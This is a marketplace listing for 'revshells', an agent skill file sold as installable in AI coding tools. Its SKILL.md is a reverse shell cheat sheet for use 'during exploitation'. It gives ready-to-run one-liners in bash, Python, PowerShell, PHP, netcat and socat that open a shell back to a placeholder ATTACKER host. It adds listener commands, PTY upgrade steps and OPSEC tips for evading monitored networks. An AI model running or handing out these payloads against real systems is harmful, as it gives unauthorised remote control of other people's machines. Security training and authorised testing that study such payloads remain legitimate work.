aeondave/revshells
offensive-tools/shells/revshells/SKILL.md
Reverse shell one-liner generator (web UI and CLI) supporting 50+ shells. Use when quickly generating encoded reverse shell payloads for bash, Python, PowerShell, PHP, and other languages during exploitation.
$ install --global
skillsauthnpx skillsauth add aeondave/malskill revshellsInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
Security Scan Results
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
3
Scanners Passed
9
Scanners in report
Clean
TrivyContainer and dependency vulnerability scanner
95%
Clean
SemgrepStatic code analysis for vulnerabilities
95%
Clean
mcp-scan (Snyk)Model Context Protocol security validation
95%
Skipped
Snyk (dep)Open source security scanning
50%
Skipped
Socket.devSupply chain security analysis
50%
Skipped
VirusTotalMulti-engine malware detection
50%
Skipped
CrowdStrikeAdvanced threat intelligence
50%
Skipped
OSV-ScannerOpen Source Vulnerability database check
50%
Skipped
OWASP Dep-Check
50%
Last scanned: May 19, 2026, 5:00 AM246.8s2 files scanned
SKILL.md
- name:
- revshells
- description:
- Reverse shell one-liner generator (web UI and CLI) supporting 50+ shells. Use when quickly generating encoded reverse shell payloads for bash, Python, PowerShell, PHP, and other languages during exploitation.
- license:
- MIT
- compatibility:
- Web: revshells.com; CLI: github.com/0dayCTF/reverse-shell-generator
- author:
- AeonDave
- version:
- 1.0
RevShells
Reverse shell one-liner generator — 50+ shells, encoded variants, web UI at revshells.com.
Quick Start
# Web UI: https://revshells.com
# Enter: IP, Port, Shell type → Copy one-liner
Popular one-liners (substitute IP/PORT)
Shell Cheatsheet
# Bash
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# PHP
php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
# Netcat (depends on -e support)
nc -e /bin/sh ATTACKER PORT
# Socat
socat tcp:ATTACKER:PORT exec:'/bin/bash',pty,stderr,setsid,sigint,sane
Listener-first workflow
# Start listener before payload execution
nc -lvnp PORT
# or
ncat -lvnp PORT
Upgrade Shell to PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z → stty raw -echo; fg → export TERM=xterm
OPSEC / Reliability Notes
- Prefer payloads matching actual runtime on target (bash/python/powershell).
- Use encoded output only when context requires it (web injection, quote escaping).
- Prefer TLS-capable approaches in monitored networks.
- Avoid assuming netcat
-eexists; keep fallback payloads ready.
Resources
| File | When to load |
|------|--------------|
| references/listeners-and-pty-upgrades.md | Listener setup, payload selection matrix, PTY stabilization and encoding strategy |
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